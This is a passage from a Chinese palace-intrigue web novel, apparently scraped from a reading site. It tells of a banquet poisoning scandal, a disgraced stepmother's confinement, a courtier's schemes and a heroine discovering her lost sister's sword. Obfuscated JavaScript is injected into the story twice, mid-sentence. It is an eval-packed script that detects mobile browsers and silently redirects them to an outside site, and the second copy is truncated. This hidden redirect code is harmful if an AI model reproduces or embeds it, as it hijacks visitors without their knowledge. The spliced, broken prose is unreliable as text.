凌青也不急不慢,缓缓道:“想必各位贵人刚进此屋时,便闻到了一种腥臭味吧。奴婢当下便觉得这臭味………似是什么……糜烂的味道。” 她的目光落在林延苍白的脸上,“于是奴婢仔细端详林公子的脸色。青白如鬼,眼窝深陷,与上午的样貌大大不同。看起来似乎是………被人下了猛药,直损肾元与经脉,以致亏虚过度。怕是………” 她故作犹豫,缓缓道:“怕是彻底不行了。” 她与洛清影一唱一和,当众点评这档子事,还面不红心不跳,直接把众人又惊呆了。 而林延,更是如遭雷击。他猛地站起来,身子摇摇晃晃,声音嘶哑地指着凌青大骂:“你这贱人!胡说八道!” 凌青淡淡道:“的确,奴婢才疏学浅,可能判断失误。要不,请个懂医术的人来验证一下。” 人群之中,有位陈家的公子,自小喜爱医理,还拜过京兆医家曹平为师,医术也算拿得出手。 他本站在那犹豫,但可能本着“仁心仁术”的原则,过会儿还是走了出来。 “让我看看吧。” 他走到林延跟前,不敢看林延充满希冀的眼神,小心翼翼伸出手把脉。 渐渐,他的神色越来越凝重。 良久后,陈公子才收回手,脸上表情越发复杂。有震惊,有同情,还有………不敢置信。 他张了张嘴,欲言又止,最后还是在众人的目光中,叹了口气:“那位姑娘所言………确实不假,林公子的脉沉迟涩滞,虚细且无力。的确是被下了猛药,失去了……根本。恐怕此生都………” 话未完全点透,但所有人都已明白。 林延严重的希望彻底散去,他如遭雷击,整个人摇摇欲坠。嘴唇不住颤抖,却发不出任何声音。 “不可能……不可能………”他喃喃自语,听不见周围的任何声音。声音如蚊蚋般微弱,似乎已听不见周围的任何声音。 眼泪从他的眼眶中涌出,但他已经感觉不到,只是不停地重复着同样的话语,整个人陷入了歇斯底里的崩溃之中。 “不可能.......怎么会这样.........” 凌青适时道:“林公子不妨想一下,是谁给您下了毒。席上的食物必不会有问题,一定是有人贴近您下毒。” 闻言,顾太师的脸色瞬间阴沉下来。在他的雅集上出了下毒的事,这简直是对他的羞辱:“究竟是何人胆敢在这下毒害人!” 林延木木地看着众人。过了许久才似乎想起来了什么。 他猛地抬头,双眼圆睁,瞳孔紧缩:“羹汤!是那碗羹汤!” 他想起来了!他自从喝了那碗陆皎叫人端给他的羹汤后,就立即感觉肚子有些绞痛,浑身都不舒适。只是他以为这是温补肾阳后的一些症状,便强行忽略了。 “是羹汤!有人给我送来了一碗羹汤,我喝了大半,还剩了个底子。那碗还在桌子上!” 顾太师见状,立即命人去席上找:“去把那碗羹汤端来,还有,叫府中大夫过来!” 不一会儿,下人端来了那碗还剩了一点的羹汤,交由府医查看。 府中大夫战战兢兢地接过汤碗,拿出银针试探。银针探入汤中,片刻后取出,未见任何变色。 “银针无异,看来不是常见的毒药。”大夫皱着眉头,小心翼翼地将汤碗凑近鼻端,深深嗅了几口,闻见淡淡的涩味。他便又从药箱中取出一个小瓷瓶,倒出几滴透明的水,滴入羹汤之中。 众人屏息凝神地看着,只见那几滴水一接触汤水,瞬间变成了诡异的深紫色。 府医的脸色骤然大变:“太师,汤中下的是绝阳散!这紫芝水遇到绝阳散才会变成这种颜色,这药药性极猛,可直接摧毁气血经脉。” “这位公子此生怕是.......再无可能......” 话音落下,再次陷入沉寂。世家夫人们皆是倒吸一口冷气,原本以为只是林延图谋陆沁美色、欲毁清白的丑事,如今竟然牵扯出宴席下毒的恶行。 林延彻底绝望了。他瘫倒在地,眼中的光芒瞬间消散,只剩下一片死灰。四周投来的目光也皆从鄙夷转为同情。 然而,就在这时,林延缓缓抬起头。他的身子开始颤抖,双拳紧握,青筋暴起。 突然间,他猛地跃起,双眼血红如野兽,面容扭曲得令人胆寒。这突如其来的变化让在场所有人都倒退了一步。 “延儿......“”林雪桐惊呼一声。 话还没说完,林延如饿狼扑食般冲向陆皎,双手死死掐住她的脖子。疯狂的嘶吼声从喉咙里爆发:“是你!一定是你给我下了药!那羹汤是你派人送来的!我要杀了你!我要你偿命!” 这突如其来的变故更是让人震惊,众人都一时忘了去拉。 陆皎被掐得喘不过气来,脸色涨红如血,双手无助地挣扎着,喉咙里发出“嗬嗬”的气音。 林雪桐凄厉尖叫:“快放手!” 众人这才反应过来,逄楚之和崔令徽上前一步,将林延死死拉开。 陆皎瘫倒在地,大口大口地呼吸着,脖子上留下了深深的指印。她颤抖着大声哭喊:“不是我,我为什么要害你!” 林雪桐见状,心疼得肝肠寸断,再也顾不得维持温柔贤淑的形象,冲到林延面前,扬手就是一巴掌:“啪!” “畜生!你怎么能对自家人动手!”她的声音尖锐刺耳,眼中满含怒火,“皎儿是你表妹妹!” 林延被打得偏过头,脸上浮现出鲜红的掌印,但他丝毫不以为意,反而仰天大笑,笑声凄厉如鬼:“妹妹?哈哈哈!就是这个好妹妹,派人给我送羹汤时,还说要助我大展雄风!这其中的内情只有你们母女知道!不是她还能是谁!” 他唾沫飞溅,面目狰狞,如同恶鬼:“我的一生都被你们母女毁了!毁了!” 林延这话一出,整个暖阁陷入了死一般的寂静。 所有人的目光都不约而同地投向了林雪桐和陆皎母女。那些视线如千万支利箭,密密麻麻地射向她们,每一道目光都充满了震惊、怀疑、鄙夷和不可置信。 陆皎的脸色瞬间变得苍白如纸,嘴唇哆嗦着却发不出一点声音。 林雪桐虽然心中也慌乱,但她毕竟当了这么多年的陆府夫人,心性被磨的平稳。她深深吸了一口气,努力让自己看起来镇定自若:“延儿,姨母打你是姨母不对,只是你也不能如此神志不清,胡言乱语!” 她声音压低了几分,眼神带上警告:“你这样说话,是想让整个林家都蒙羞吗?” 可惜,林延已经彻底失去了理智,完全听不懂她话里的暗示。 他刚才还抱着一丝希望,以为或许还有挽回的余地。但当府中大夫确认他彻底失去了男人能力时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166456|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他整个人就彻底崩塌了。 既然自己已经身败名裂,不能人事,前途尽毁,那就干脆破罐子破摔,谁也别想好过! 他发疯般地大笑起来,笑声凄厉刺耳:“我的名声都毁了!我不能人事了!我这辈子都完了!估计也入不了仕途了!既然如此,那就让所有人都知道真相,让你们这些蛇蝎心肠的人和我一同下水!” 林雪桐脸色刷地变白,急忙上前想要阻止:“延儿!” 他一把推开林雪桐:“诸位,你们都不知道吧。就是这位陆夫人,口口声声说让我毁掉陆家二小姐的清白,因为陆皎喜欢她姐姐的未婚夫,陆夫人便要替她把这婚事夺过来!” 这话一出,众人瞬间哗然。 原本就议论纷纷的人群瞬间炸开了锅,窃窃私语声此起彼伏。 “是我听错了么?陆夫人?陆夫人为了她亲生女儿,去毁继女清白?” “你没听错,真是枉为人母。” “这陆府三小姐名声一直很差,能干出夺自己长姐婚事的举动,也不足为奇。” 林延根本不理会众人的反应,继续道:“今日这捉奸的场面,不也都是你安排的!只是我没想到,你竟然想一箭双雕,让二小姐与我同床共枕,直接定下我俩的私情。但你又见不得我春风得意,迎娶嫡女,便指使陆皎给我下毒!” “我父亲与你关系素来不好,当初还阻止过你嫁给陆大人当续弦。你一直怀恨在心,厌恶我们这房,你别以为我不知道!” 凌青听着这场闹剧,内心忍不住想给林延鼓掌。 虽然这事已是定局,锤得死死的,但她总担心圆不回来。 她是提前探查过——林雪桐与林延所在的林家二房面和心不和,所以林雪桐次此叫林延入京,正是因为她深恨陆沁,不想让陆沁嫁给林家品行端正的人。既然林延品行不端,又是与自己有仇的二房之子,干脆让他们凑成一对,这样既能报复陆沁,又能恶心二房。有这层算计在,她的离间计必然有效。 可没想到林延如此天才,就这么将所有事全圆回来了,更省了她的心。 林雪桐的脸色越发难看,她匆匆否认:“我看你真是神志不清了,来人,将他带下去!” 可惜,她越这么试图掩盖,其他人议论的声音就越大。 与她交好的那些贵妇人们也自动与她拉开距离,指指点点,眼神中满是鄙夷和不屑。 “没想到,陆夫人是这样的人。” “亏她总是装作一副温柔贤德的样子,我还真以为她是贤母。” “这样的人,怎么配做一府主母。” “可怜陆大人,被这等恶妇蒙在鼓里。” 林雪桐听着这些议论,只觉得耳边嗡嗡作响,顿时天旋地转。 多年来苦心经营的名声,终在这一刻彻底崩塌。 她一直处于京城女子中的上位,见过她的人,无不夸她贤妇贤母。她也一直享受众人对她的钦佩与赞扬。可如今,全都没有了。她竟一夕之间变成了过街老鼠,被所有权贵如此鄙视。 她想要开口,想要为自己争辩,但是张了张嘴,却发现自己什么都说不出来。 一旁的陆皎再也承受不了这样的目光,她捂着脸大哭起来:“母亲,母亲,我真的没有送羹汤。你说过的,今日的事我不要插手,我真的没有送!” 此话一出,更是将她们陷害陆沁清白的行为坐实了。 林雪桐顿时身子一软,瘫倒在地。 36. 禁足 顾太师见状,眉头越蹙越深。今日是他主办的咏春宴,容不得一点差错。陆府这对母女却直接将龌龊勾当闹到他这里,着实是可恨! 高门望族各个府邸,哪家后院没有这样的事。 说起来,高门望族哪家后院没有些见不得人的事?平日里大家也都心照不宣,看在陆砚修清流之官的面子上,再加上林雪桐多年经营的名声,若是小打小闹,众人也愿意睁一只眼闭一只眼。 可如今这事情闹得实在太大太难看了!当着满堂宾客的面,又是在他的园子里,这不是打他的脸吗? 他在朝中浸淫四十余载,位高权重,底下势力盘根错节。而陆秉风虽是文人之首,但年纪尚轻,不过是个文官,孰轻孰重一目了然。林雪桐如此不知进退,众人自然要落井下石一番。 只是此时还是不宜继续闹下去。顾太师吩咐下人道:“来人,将林延带出去!” 下人们立即上前,要将林延拖走。 林延被下人拖着,却还在疯狂嘶喊:“林雪桐!你敢这样对我!祖父祖母必不会放过你的,林家也不会再容你了!你在京中的名声也已经臭了,你就等着老死在自己的院子里吧!" 他的声音越来越远,林雪桐的脸色也越来越惨白。 随着众人离去,暖阁里只剩下了陆府众人。 陆老夫人听完刚才那一切,早已气得浑身发抖,胸口剧烈起伏。她指着林雪桐的手都在颤抖,差点站不住脚。 “祖母”!”陆沁急忙上前搀扶。 陆老夫人摆摆手,示意自己还能坚持。她似用尽力气,颤抖着声音说道:“林氏,我真是瞎了眼了!我怎么会让你这样的女人进我陆府的门!” 林雪桐脸色煞白,跪倒在地上,苦苦哀求:“母亲,求您饶了我这一次!我知道错了!求您顾惜我这些年为陆府操持的苦劳,莫将这些事情告诉老爷!” 她的声音里带着哭腔,全是绝望之意。 但陆老夫人已转过身去,不再多看她一眼:“错了?你害我的孙女,你说错了就完了?因为你,我陆府沦为笑柄。此事就算我不说,也迟早会传到秉风的耳朵里。” 说完,陆老夫人在陆沁搀扶下,头也不回地离开。 林雪桐一个人跪在冰冷的地上,身边只有哭哭啼啼的陆皎。 她第一次体会到,什么叫做身败名裂。 ———————— 夜已深,陆府正厅却依旧灯火通明。 凌青跟着陆沁匆匆过来,刚踏进门,便被眼前阵仗惊住了。 陆老夫人端坐主位,陆秉风坐在一旁,两个人周身散发着骇人的怒意。陆皎、陆微、陆砚修都站在一旁,还有........萧姨娘? 萧姨娘竟然也来了。她今日似乎特意打扮过,珠翠满头,脂粉香艳,脸上还带着几分掩饰不住的得意,生怕别人看不出她是来落井下石的。 而林雪桐,依然如往常一般姿态端正,面色沉静。只是此时却是————跪在大堂中央。 真是一场好戏啊,太师府闹一次,回来还得闹上一次。似乎这些名门权贵的生活里,除了明争暗斗、互相审判,就没有什么别的正经事了。 凌青静静地站在陆沁身后,淡然看一切。 “沁儿,你来得正好。”陆老夫人的声音极冷,“今日在咏春宴发生的事,你都亲眼所见。现在,该让你父亲也听听,我们陆府出了个什么样的好主母!” 接着,陆老夫人便将今日在顾太师府发生的一切娓娓道来。先是污蔑陆沁清白,后又是林延揭发........每说一句,陆秉风的脸色就难看一分,到最后已是铁青一片。 林雪桐察觉到陆秉风的怒火,却依旧挺直腰杆,想要维持最后的体面:“老爷,这一切都是林延胡说八道!他现在已经疯了,说的话怎能当真?您我夫妻情深这么多年,难道您还不了解我的为人吗?” 陆秉风看着她,不置一言。 “老爷,你我当初情投意合,您纳我进府,就是因为看中了我的贤德。我愿意嫁进来,也是因为仰慕老爷,且真的心疼沁儿没娘照顾。我这些年为府里任劳任怨,怎么会干出这样的事。” 林雪桐说着说着,声音又带上哭腔,似乎把自己说感动了。 只是她如此“肺腑之言”,陆秉风还是沉默看着她。 良久,正当众人都揣揣不安之时。陆秉风忽然伸手,猛地将手边的茶杯砸向地面。 “啪!” 茶杯在地面上摔得粉碎,发出清脆的声响。溅起的碎片四处飞去,其中一片正好划过林雪桐的脸颊,留下一道血痕。 陆皎惊叫一声:“母亲!” 她想要上前查看林雪桐的伤势,但被陆砚修拉住了。陆砚修摇摇头,示意她不要轻举妄动。 林雪桐感受到脸上的疼痛,但她不敢伸手去擦,也不敢说话。只是怔怔地,望着地面。 她此刻清楚的知道,陆秉风已经完全不信她了。 陆老夫人道:“好了,莫摔摔打打了。别被旁人看了去,还以为我们对她家法呢。” 陆秉风这才停手,冷冷开口道:“林雪桐,你让我太失望了。” 他一字一句地说着,每个字都重重地砸在林雪桐心上:“你丢尽了陆府的脸面,不配为一个主母!连女儿都教得如此不堪,心思如此歹毒,连沁儿一分都不如!” 陆皎怔住,不敢置信道:“父亲?” 林雪桐听到这话,脸色灰败如死人,整个人仿佛瞬间苍老了十岁。她曾经为这个府里付出的一切,奉献的十几年,在这一刻都成了笑话。 “既然你如此担不起重责,那即日起,府内管家之权交由沁儿打理,萧姨娘协助。” 此话一落,众人皆惊。陆沁不由看向凌青,凌青微不可见地朝她点点头。 萧姨娘听到这话,险些控制不住脸上的狂喜。她努力压抑着内心的激动,表面上却装作受宠若惊:“老爷,妾身德薄能鲜,恐怕........” “不用推辞。”陆秉风打断了她的话,“你在府中这么多年,做事稳重,正好可以帮助沁儿。” 萧姨娘垂首应是,与陆微对视,四目之间皆是得意。 “至于夫人........”陆秉风蹙眉道:“夫人重病,从今日起禁足栖桐院,无我允许,不得踏出院门半步。” 此话一出,林雪桐的身子骨瞬间塌了下去,如果不是陆皎和陆砚修及时扶住,她恐怕就要摔倒在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆沁回想那日,只觉得脑子里嗡的一声,震惊让她此刻说不出话。 她一直以为凌青只是个比旁人都要聪明,做事靠谱的姑娘,却没想到,她居然从那么早就在谋划这一切!这个看起来如此柔弱的丫头,竟然有如此城府。 “所以上次落水真的不是三妹妹推的你,是你拉她下去的?”陆沁问道。语气中丝毫没有对凌青的畏惧与警惕,只有好奇和不可思议。 “.........这不重要,小姐。” 凌青沉声道:“重要的是,您虽然这次得了管家之权。但林雪桐终究只是禁足,未必没有卷土重来的一天。她这样的人,也绝不会甘心就此认输。必会想方设法重新夺回权力,加倍对付小姐。到时候,您觉得您能阻止她吗?” 陆沁心头一凛,如坠冰窖。 是啊,林雪桐经营陆府十余载,根基深厚,岂会轻易认输?她定会暗中蛰伏,等待时机。到那时........ 陆沁沉默了许久,她回想起了今天发生的一切。想起了林延那垂涎欲滴的眼神,陆砚修道貌岸然的笑容,林雪桐丝毫没有歉意的神色....... 她深深吸了一口气,眼中闪过一丝坚定:“这次........我绝不会忍让。你说,我们该如何做?” 37. 浮出 京城东街的临风茶楼。 这总共开张没几年的茶楼,如今却是京城权贵们品茗议事的首选之地。 装潢皆是青砖黛瓦,飞檐翘角,处处透着江南水乡的雅致。楼内雕梁画栋,竹影婆娑。里面的紫砂茶具,也都是从宜兴特意运来的。 掌柜的是位四十来岁的女人,苏州人氏。十几年前跟着丈夫来京城讨生活。丈夫早逝,她一个人拉扯着两个孩子,硬是把这茶楼经营得有声有色。 茶楼中的小厮正端着托盘,踏着木梯一路向上。一楼大厅,二楼雅座,三楼雅间。他继续踩着楼梯往上走,最后停在了四楼。 四楼总共只有一间雅间。 小厮轻敲房门,听到里面传来“进来”的声音,这才推门而入。 “大人,雪顶含翠到了。小的放在这里。” 房间里坐着的人影在屏风后显得有些模糊,小厮也不敢抬头多看,只是恭敬地将茶盏放在门口案几上。 “嗯,下去吧。” 小厮退出房间,轻轻关上门,叹了口气。 他在这茶楼做了两年的事,却从来不知道这位客人是谁。只知道他每隔四五天便来上一次,每次来都只喝雪顶含翠。而且这个四楼的雅间,也永远只为他一个人开放。 真是不知道这位.......到底有多大来头。 雅间内,逄楚之正端坐在椅上,修长的手指轻抚着茶杯边缘。 雪顶含翠的香气在房间里弥漫,清冽的兰香带着湿润的水汽,淡得清冷,却勾得人鼻尖发痒。 “江南盐政的事情,处理得如何?”他不紧不慢地开口。 对面的听风答道:“回公子,一切都按着计划。我们先是暗中放出风声,说朝廷要对盐政动手,引得那些本就心虚的商贾们慌了神。再让人在适当的时机向朝廷密报,说江南盐商勾结官府,意图垄断盐政。 “结果呢?” “朝廷派了钦差下去彻查,正好撞上了那些囤积居奇的商贾。现在江南盐政司上下人心惶惶,那些原本的官员们都开始小心翼翼,生怕被牵连。" 逄楚之轻抿了一口茶,眼中闪过一丝兴味:“乱中取利,终于轮到我们有机会了。” “是,我们的人已经暗中接触了几个被吓破胆的小官,以各种身份许诺只要他们配合,就能保住性命和前程。现在这些人对我们的话言听计从,江南的盐政情况我们了如指掌。更重要的是,我们还趁机安插了几个自己人进去。” “那.......户部那边呢?” “户部尚书杨大人这个月连上了三次折子,请求减免江南的盐税,说是体恤民生。但每次都被.........压了下来。现在朝中已经有人开始窃窃私语,议论纷纷。” 闻言,逄楚之眉峰几不可察地动了一下,眼尾微弯,眼神里却没有丝毫笑意。这神情,竟说不出是嘲讽还是怅然。 “算了,”他低下头:“我大概知道是谁压下了。” “公子,属下现在担心的是,我们这次的的举动会不会太大,被人知晓?” “怕什么。”逄楚之转着手中茶盏,淡声道:“此事纵使东窗事发,自有人顶在前头。层层叠叠套了这么多人,便是查个底儿朝天,也断断牵连不到咱们身上来。要不然,你以为前段时间我假意去远游,是为了什么?” 听风佩服点头:“公子英明。” “这还只是开始。搭上了顾太师这条线,我们的计划会更加顺利。” “公子什么时候搭上了顾太师?莫非是........咏春宴上?难怪您从来不参加,今年却一反常态。” “嗯,这雅集有什么意思,我当然是去探那老狐狸的底细的。”逄楚之微微一笑,笑容却带着几分谋算:“他一向独善其身,从不站队。但我知道他,老谋深算,装出一副正人君子的样子,实则一直冷眼看这暗流涌动。” “当时我借故离开,悄悄进了他的书房。发现他书柜暗格,里面藏着一些密信。这些密信.........可有意思多了。有了这些,我必能以此和他谈判。 “毕竟………这既是把柄,也是筹码。”他微微一笑。 “公子真是......比他还要能算计。”听风由衷敬佩。 正说着,外面忽然传来敲门声。 “公子,门外客人直接说出了暗号,是与您提前约好的。”小厮在门外道。 逄楚之示意听风去开门:“让他们进来。” 房门推开,一男一女踏步走了进来。 两人都身穿着灰白色的衣裳,简单朴素,却十分干净整洁。即使身上没有任何装饰,也难掩他们的教养和气质。 只是两人眼里都含着淡淡的愁绪。即使不像当初那般沉重绝望,但这憔悴终是与他们年轻的年龄极其不相符。 正是当初被抄家的陈恪后代———陈靖川与陈若薇。 “见过逄公子。”兄妹二人刚要行礼,就被逄楚之连忙扶住。 “哎,我不是说过了吗?”逄楚之无奈,急急扶他们起来,“我们是朋友,以后无须多礼,也不要叫我公子。若是你们再这样客套,那我可真的要为难了。” 陈靖川和陈若薇这才起来,坐到对面椅子上。 逄楚之起身,为他们倒茶。将茶盏推到两人面前后,便幽幽叹气:“今日叫你们来,还是为了陈老的事。” 陈靖川一听,沉寂的眼神忽然亮起来,激动道:“逄兄可找到什么线索?” 逄楚之秀眉微蹙,似乎很是为难:“是有一些眉目,但比我想的要复杂。的确是有人故意设局陷害。目的不为官场倾轧,只是将朝堂的水搅浑,试探各方势力的反应。” “逄公子的意思是………我祖父只是一颗棋子?他向来只谋国,不谋私,不站任何党羽势力,拉拢不了又碍事,便被有心人之人一举清除?” “不错。”逄楚之点头,睫毛微垂,神色愧疚:“也怪我,我虽然是逄家人,但并无多少实权,能调查到的也有限。但我向你们保证,一定会尽我所能。” 这番话说得极为真诚,陈靖川和陈若薇听了,皆是露出感动神色。 “逄公子,您已经帮了我们很多了。”陈若薇眼中含着泪光,“要不是您出手相救,我们兄妹二人早就......” “陈姑娘言重了。”逄楚之笑笑,又转向陈靖川:“我最近也遇到了些麻烦,可能不能常常与你们见面,你们一定要保护好自己,别暴露身份。” “麻烦?”陈靖川急切问道:“是否是帮我们陈家翻案,牵扯到你了?” 逄楚之低垂着眼眸,别过头去:“没有,别多想。” 他这副心事重重,却还故意不说的样子,更让陈家兄妹愧疚。他们也越发笃定,逄楚之因为为他们翻案而惹上了麻烦。 “逄兄,有什么需要我们帮忙的吗。虽然我与若薇势单力薄,但也想为你解决眼前麻烦。” “是啊,公子您救了我们,我们应该为您做些什么。”陈若薇附和。 逄楚之叹气道:“可是……我把你们再牵扯进来,就是置你们于危险之中。我不能………对不起陈老。” “祖父离开之前,最大的愿望就是希望我与若薇能帮陈家翻案。逄兄就尽管告诉我们吧。” 逄楚之似乎很是为难,犹豫片刻,才“勉强”点头道:“好吧………” 他从怀中取出两叠文书,交由兄妹二人。 “这是我为你们准备的身份文牒。靖川,你你现在是运城陈家的三公子,在盐运上有些关系。如今江南盐政出了问题,朝廷虽然派了钦差前去,但也只能了解表面。你去与当地盐商和官员打好关系,安抚人心,成为他们的主心骨。再等待我的指示。” “至于陈小姐,你作为陈家的表妹,也一同前去。你的责任,便是接近当地官员的家眷,从她们之中套曲消息。” “这样看似不引人注意,却能接触到他们消息之人……只能是你们。其他人,我都不放心。”逄楚之轻叹一声气,看向兄妹二人的眼神越发温柔。 陈靖川与陈若薇越发感动,互相对视一眼后,便立即领命。 “定不负逄兄所托!” 逄楚之微微一笑,如春风化雨。 如今风已起,草已动。这些散落在棋盘上的棋子,终有一天会连成一片。到那时,哪怕只是轻轻一子落下,就足以让这盘扑朔迷离的棋局,轰然崩塌。 而他要做的,只是耐心等待。 —————— 林雪桐被禁足前,派身边的贴身丫鬟去传了陆沁。 陆沁听闻消息,在窗边沉默了许久。 凌青站在她身后,心中了然。林雪桐果然不死心,怕是想在自己禁足前再给陆沁洗一波脑,好让陆沁替她求情。 “小姐要去吗?” 陆沁低着头,良久,才发出一声轻不可闻的叹息。她转过身,神色间带着一种尘埃落定般的疲惫:“去。有些话,早就该当面问个清楚了。” “凌青,你陪我走一趟。” 从月露榭到栖桐院,这条路陆沁不知走过多少次。 青石甬道两旁,海棠树的枝条在风里轻晃,花瓣不住飘落,落在她的肩头,一如她记忆里的样子。 小时候,她最是喜欢这条路上的风景。 现在想想,或许不是爱风景,是爱踏上这条路的感觉。 因为这条路的尽头,是栖桐院。只要幼年时的她推开院门,便能看见林雪桐坐在梧桐树下,手中捧着一卷诗书,安静美好得像一幅画。 见小陆沁来了,她便会放下书,温柔笑着,唤她一声“沁儿”。 她便忍住自己的满心雀跃,假装淑女地一步步走过去,喊一声“母亲”。 梧桐树从嫩绿到金黄,又从金黄到凋零、无数个春秋日夜过去。那些年,她们都宛如一对亲母女。陆沁甚至常常会忘记,自己是个没了亲娘的可怜虫。她贪恋地汲取着那份虚假的温暖,自欺欺人地告诉自己,只要这层窗户纸不被捅破,她就能一直幸福下去。 可后来......后来怎么就变成这样了? 是从什么时候开始,林雪桐看她的眼神越来越警惕?是从什么时候开始,她要替陆皎千方百计地除掉她? 又从何时,再也回不到从前了呢? 栖桐院的门虚掩着,院中亮着灯火。陆沁推门而入,便见林雪桐正坐在厅中等候。 她虽衣着珠翠仍如往日一样温婉华贵,但脸上的憔悴与不安,还是让她看起来老了好几岁。见到陆沁,她立刻起身迎了上来。 “沁儿,你来了。”林雪桐温柔一笑,声音里带着感动:“母亲就知道,你还是相信母亲的。” 她伸手想要去拉陆沁,却被陆沁不动声色地避开。 “母亲,您有什么要说的,就说吧。”陆沁垂下眼眸,轻声道。 林雪桐的手僵在半空,笑容也凝固了一瞬。她有些无措地收回手,眼眶迅速红了:“沁儿……你还在生母亲的气,是不是?你就那么信林延那个小人的挑拨,也不愿信我这个将你视如己出的母亲吗?” 陆沁没有回答,只是静静地看着她。 “沁儿,母亲知道今日之事让你受了天大的委屈。”林雪桐的声音越发委屈,“可那都是林延的诬陷!我怎么会害你?我疼你还来不及!你要相信母亲,我从未做过任何对不起你的事!” 陆沁看着她声泪俱下的表演,心中一阵悲凉。 都到了这般田地,她竟还在演戏。 “沁儿,这些年来,我一直把你当作亲生女儿。你生母早逝,我也自小母亲病逝,我们同病相怜,我便想着要好好照顾你,让你在这府中有个依靠。” 她紧紧抓住陆沁的手,不肯放开:“我们是一家人,一家人没有过不去的槛。沁儿,求你了,可怜可怜母亲吧。去向你爹求情,早点解了禁足,到时候,我一定加倍弥补你。母亲发誓,以后再也不会让你受半点委屈!” 她说得动情,声泪俱下。 陆沁任由她抓着,泪水终于也漫上了眼眶。 林雪桐见状,以为她心软了,脸上顿时露出喜色:“沁儿,你信我了是不是……” “我只问你一句话。”陆沁哽咽道:“这些年来,你口口声声说待我如亲生女儿,可你心中,真的是这样想的吗?” 林雪桐一愣,随即急切道:“当然是真心!天地可鉴……” “那渚碧呢?”陆沁猛地抬眼,“她为何背叛我?她又是怎么死的?你敢说这些都和你毫无关系!” 她话音一落,林雪桐的脸色瞬间变得煞白。 “当然与我无关。”只一瞬,林雪桐便强作镇定,“沁儿,是谁与你说的这些东西,是谷翠吗,还是凌青?你难道就这么听从外人的话,与我有隔阂吗?” “是吗?”陆沁看着她强装镇定的样子,终于什么都明白了。 那一点点残存的、可笑的期盼,在这一刻,彻底碎成了齑粉 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高大的博古架再也支撑不住,轰然向林雪桐倒塌而去! 陆沁被这突如其来的变故惊呆了,愣愣地站在原地。 千钧一发之际,站在一旁的凌青瞳孔骤缩,趁架子彻底要倒下来时,眼疾手快地将林雪桐猛拽出来。 林雪桐踉跄着被拽出老远,狼狈地躺在地上。 陆沁终于反应过来,急急冲上去。 看到两个人都没事,她才深呼出一口气,把刚才吓得几乎要跳出来的心放回肚子里。 “凌青,你没事吧?” “没事。”凌青站起来,拍拍身上的灰,神色复杂地看向地上的林雪桐。 不是他发善心,实在是林雪桐不能不明不白死在这里。且不说她就这么死了,陆沁会多么自责愧疚。就凭她是陆府主母,哪怕失宠,那这样死在架子下面,陆沁就得一辈子担上弑母的名号。 “凌青,我们现在………” “我去传下人。”凌青冷声道:“就说夫人………自己摔倒的。” 说着,凌青转身欲走。 忽然,她的脚在跨过地上一片狼籍时,瞬间顿住了。 在一堆破碎的紫檀木和白瓷碎片中,一抹熟悉的颜色,狠狠刺入她的眼底。 “凌青?”陆沁看她停住不动,疑惑地问道。 凌青毫无反应。 她的目光,仍然死死地落在地上。 地上静静躺着一把剑。 那是一把女子佩剑。剑鞘是暗红色的,上面镶嵌着精致的莲花纹饰,剑穗是淡青色的丝线编织而成,上面系着一枚小小的白玉佩,玉佩上刻着一个“涟”字。 这是把不可多得的好剑,剑身修长,古韵十足,又带着秀气感,每一处都透着匠人的用心。难怪林雪桐会将它放在博古架上。 这世上,再也没人比她更熟悉这把剑。 她的手开始无意识地颤抖。 陆沁从未见过凌青如此失态的模样,担忧地唤她:“凌青?” 凌青像是没听见。她一步一步,缓缓地走向那片狼藉,仿佛每一步都踩在自己的心上。她蹲下身,伸出颤抖的手,轻轻地、珍重地,将那染了灰尘的剑穗握入掌心。 丝线还是那样柔软,似乎还带着温度。她的指尖轻抚过那歪歪扭扭的编织,仿佛触碰到了多年前。 尘封的记忆如潮水般涌来—— ——“看!父亲给我的生辰礼!” 叶清涟眉眼弯弯,一副欠揍的笑嘻嘻模样,却一点也不难看。 “这是父亲之前资助过的那个穷书生送的”,她小心翼翼地抚摸着剑鞘,“现在那穷书生已经做大官了,不知从哪寻的这把剑,特意送父亲啦。” 小凌青那时尖酸刻薄的很,但看到那把漂亮的剑,还是不由道:“是把好剑,配你可惜了。” 叶清涟听了也不生气,只是摊开手,像要饭的似的:“父亲送了我这个,你送我什么?” 小凌青别过头去,闷闷道:“……什么也不送。” “不行不行!”叶清涟不依不挠,直接扑过来挠她痒痒,“一定要送一定要送!” 凌青假装被她烦得没办法,折腾半天后从怀中掏出一个剑穗子,递给她。 递过去后,她又似乎不好意思地扭过头去,闷声道:“我随便打的络子,你爱要不要。” 她说完便扭过头去,不敢看对方的反应。可等了许久,身后都没有动静。 她疑惑地回头,却见叶清涟愣愣地看着手里的剑穗,眼眶一点点地红了。 “喂………你是被丑哭了吗?”她无语道。 叶清涟抬起头,擦了擦眼泪,感动地看着她。 “我手工活一向最差的妹妹,竟然打出了这么好看的络子。” 她声音哽咽,眼中充满泪水:“呜呜呜呜呜,你一定很爱我。” 她扑过来,紧紧抱住凌青,郑重其事地宣布: “为了不辜负你的手工,我一定会把这个一直挂在剑上,带到我死!” 带到我死。 随着记忆里叶清涟的泪水滴落,一滴冰冷的泪,也砸落在掌心的剑穗上。 凌青握着剑穗的手越来越紧,指节因为用力而泛白。 剑在这里………它的主人呢? 她似乎明白了什么,却什么也说不出来。 喉咙里像被灌满了滚烫的铅水,堵住了所有声音。她张了张嘴,却发不出一丝声响。眼前天旋地转,只剩下姐姐叶清涟泪中带笑的脸,和那句字字诛心的诺言。 